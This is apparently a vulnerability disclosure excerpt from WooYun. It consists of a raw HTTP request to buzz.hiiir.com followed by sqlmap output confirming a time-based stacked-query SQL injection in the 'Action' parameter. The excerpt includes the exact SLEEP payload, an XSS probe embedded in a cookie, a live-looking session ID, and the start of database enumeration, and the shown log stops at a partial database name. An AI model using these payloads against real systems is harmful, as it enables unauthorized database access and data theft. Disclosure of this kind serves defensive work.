WooYun.org

GET /Message/getpagemessage?Action=-1&ClosePage=&Controller=User&_=1445655600743 HTTP/1.1
X-Forwarded-For: 8.8.8.8'
X-Requested-With: XMLHttpRequest
Referer: http://buzz.hiiir.com:80/
Cookie: PHPSESSID=8knlf54qjp4n8voppsoambted4; _Timer=2; __atuvc=1%7C42; __atuvs=562af43046ed06bb000; __utmt=1; __utma=112679063.678026744.1445655602.1445655602.1445655602.1; __utmb=112679063.1.10.1445655602; __utmc=112679063; __utmz=112679063.1445655602.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss")
Host: buzz.hiiir.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

GET parameter 'Action' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) re
quests:
---
Parameter: Action (GET)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: Action=-1');(SELECT * FROM (SELECT(SLEEP(5)))IWDZ)#&ClosePage=&Cont
roller=User&_=1445655600743
---
[11:25:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.10
back-end DBMS: MySQL 5.0.11
[11:25:32] [INFO] fetching database names
[11:25:32] [INFO] fetching number of databases
[11:25:32] [INFO] retrieved:
[11:25:32] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[11:26:25] [INFO] adjusting time delay to 4 seconds due to good response times
[11:26:33] [ERROR] invalid character detected. retrying..
[11:26:33] [WARNING] increasing time delay to 5 seconds
[11:27:09] [ERROR] invalid character detected. retrying..
[11:27:09] [WARNING] increasing time delay to 6 seconds
8
[11:27:47] [INFO] retrieved: informatio